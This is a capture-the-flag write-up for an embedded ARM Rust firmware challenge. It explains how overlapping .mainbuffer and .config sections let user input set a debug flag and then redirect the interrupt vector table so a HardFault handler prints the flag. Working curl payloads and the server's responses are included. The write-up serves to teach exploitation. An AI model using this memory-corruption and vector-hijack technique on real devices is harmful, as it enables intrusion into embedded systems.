The task gives ELF ARM binary along with sources `main.rs`:```#![no_std]#![no_main]#![feature(asm)]
mod qemu;mod reset;mod uart;use core::cell::RefCell;
struct RefCellWrapper<T>(pub RefCell<T>);
unsafe impl<T> Sync for RefCellWrapper<T> {}
use core::ops::Deref;impl<T> Deref for RefCellWrapper<T> {    type Target = RefCell<T>;    fn deref(&self) -> &RefCell<T> {        &self.0    }}
#[link_section = ".mainbuffer"]static BUFFER: RefCellWrapper<[u8; 32]> = RefCellWrapper(RefCell::new([0u8; 32]));
#[repr(C)]struct AdminParams {    serial: [u8; 16],    device_name: [u8; 10],    debug_mode: bool,    interrupt_init: u32,}
#[link_section = ".config"]static CONFIG: RefCellWrapper<AdminParams> = RefCellWrapper(RefCell::new(AdminParams {    serial: [0; 16],    device_name: [0; 10],    debug_mode: false,    interrupt_init: 0u32,}));
fn init() {    let mut config = CONFIG.borrow_mut();    config.serial = [0xd7; 16];    config.device_name = *b"PuzzleTime";}
fn init_vtor() {    let new_vtor = CONFIG.borrow().interrupt_init;    if new_vtor <= 0x2000_0000 {        unsafe { core::ptr::write_volatile(0xE000ED08 as *mut u32, new_vtor) };    }}
#[link_section = ".welcome"]#[inline(never)]fn print_welcome() {    let lr = reset::__get_lr();
    println!("--- Welcome to Donjon services ---");
    if lr & 0xfffffff0 == 0xfffffff0 {        qemu::dump_flag();        qemu::exit();    }}
fn recv() {    print!("Command: ");    let uart = uart::UART::new();
    let mut buffer = BUFFER.borrow_mut();    for b in buffer.iter_mut() {        let byte = uart.receive_byte();        print!("{}", byte as char);        if byte == b'\n' as u8 {            break;        } else {            *b = byte;        }    }    print!("\n");}
fn recv_and_exec_cmd() {    recv();
    let buffer = BUFFER.borrow();    let opcode = buffer[0];
    match opcode {        0x30 => print_welcome(),        0x31 => {            if CONFIG.borrow().debug_mode {                init_vtor();            } else {                println!("Not in DEBUG mode.");            }        }        _ => println!("Unknown command"),    }}
#[no_mangle]pub fn _start() {    init();    init_vtor();
    recv_and_exec_cmd();    recv_and_exec_cmd();}````reset.rs`:```use crate::qemu::exit;
pub fn default_handler() -> ! {    exit();}
#[inline(always)]pub fn __get_lr() -> u32 {    let lr: u32;    unsafe {        asm!("mov {}, lr", out(reg) lr);    }    lr}
pub fn hf_handler() -> ! {    crate::println!("[!] HardFault hit, shutting down...");    exit();}
#[link_section = ".vectort"]#[used]pub static VECTOR_INIT_TABLE: [fn() -> !; 2] = [default_handler, hf_handler];```plus `qemu.rs` and `uart.rs` that have some not-really-interesting helper functions. There is also `client.py` that talks to the server:```import numpy as npimport requestsfrom binascii import hexlify
url = "http://puzzle.donjon-ctf.io:7000"
def send(dat):    data = hexlify(bytes(dat, 'utf8')).decode()    cmd = {'cmd' : 'send', 'data': data }    x = requests.post(url, json = cmd)    return x.json()
if __name__ == "__main__":    print(send("0\n1\n")["message"])```
A trap can be seen with `objdump --headers puzzle1`:```
puzzle1:     file format elf32-littlearm
Sections:Idx Name          Size      VMA       LMA       File off  Algn  0 .vector_table 00000200  00000000  00000000  00010000  2**2                  CONTENTS, ALLOC, LOAD, READONLY, DATA  1 .text         00002a1a  00000200  00000200  00010200  2**2                  CONTENTS, ALLOC, LOAD, READONLY, CODE  2 .welcome      000000ae  00002c1a  00002c1a  00012c1a  2**1                  CONTENTS, ALLOC, LOAD, READONLY, CODE  3 .rodata       0000134f  00003000  00003000  00013000  2**2                  CONTENTS, ALLOC, LOAD, READONLY, DATA  4 .mainbuffer   00000024  20000000  20001000  00020000  2**2                  CONTENTS, ALLOC, LOAD, DATA  5 .config       00000024  20000000  20001024  00030000  2**2                  CONTENTS, ALLOC, LOAD, DATA  6 .bss          00000024  20000000  20000000  00020000  2**0                  ALLOC  7 .ARM.attributes 00000032  00000000  00000000  00030024  2**0                  CONTENTS, READONLY  8 .debug_abbrev 00000224  00000000  00000000  00030056  2**0                  CONTENTS, READONLY, DEBUGGING, OCTETS  9 .debug_info   0001fc6c  00000000  00000000  0003027a  2**0                  CONTENTS, READONLY, DEBUGGING, OCTETS 10 .debug_aranges 000017b8  00000000  00000000  0004fee6  2**0                  CONTENTS, READONLY, DEBUGGING, OCTETS 11 .debug_ranges 00018de0  00000000  00000000  0005169e  2**0                  CONTENTS, READONLY, DEBUGGING, OCTETS 12 .debug_str    0002d3dd  00000000  00000000  0006a47e  2**0                  CONTENTS, READONLY, DEBUGGING, OCTETS 13 .debug_pubnames 0000bb40  00000000  00000000  0009785b  2**0                  CONTENTS, READONLY, DEBUGGING, OCTETS 14 .debug_pubtypes 00000012  00000000  00000000  000a339b  2**0                  CONTENTS, READONLY, DEBUGGING, OCTETS 15 .debug_frame  00005304  00000000  00000000  000a33b0  2**2                  CONTENTS, READONLY, DEBUGGING, OCTETS 16 .debug_line   00021b84  00000000  00000000  000a86b4  2**0                  CONTENTS, READONLY, DEBUGGING, OCTETS```VMAs for two sections `.mainbuffer` and `.config` (as well as `.bss`) are the same, so the sections overlap after loading, and our data that go into `.mainbuffer` overwrite bytes from `.config`. First 26 bytes of the config are not used, but 27-th byte is `debug_mode` that changes processing of the command `0x31`. Let's check it:```$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"300A310A"}'{"message":"Command: 0\n\n--- Welcome to Donjon services ---\nCommand: 1\n\nNot in DEBUG mode.\n[!] HardFault hit, shutting down...\n"}$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"302020202020202020202020202020202020202020202020202020200A310A"}'{"message":"Command: 0                           \n\n--- Welcome to Donjon services ---\nCommand: 1\n\n[!] HardFault hit, shutting down...\n"}```Yep, the message "Not in DEBUG mode" is gone.
The message about HardFault suggests that `hf_handler` is called, probably via interrupt table. The command 0x31 in "debug" mode rewrites interrupt table pointer with our data; let's make it point to `print_welcome`. Looking for an address of `print_welcome` (plus 1 due to thumb mode), we find it at 0x300C in `.rodata`; interrupt table pointer should point below to accomodate that hardfault is not the first vector in the table. The final command is```$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"3020202020202020202020202020202020202020202020202020202000300A310A"}'{"message":"Command: 0                           \u00000\n\n--- Welcome to Donjon services ---\nCommand: 1\n\n--- Welcome to Donjon services ---\nCTF{embedded_with_care}\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\n"}```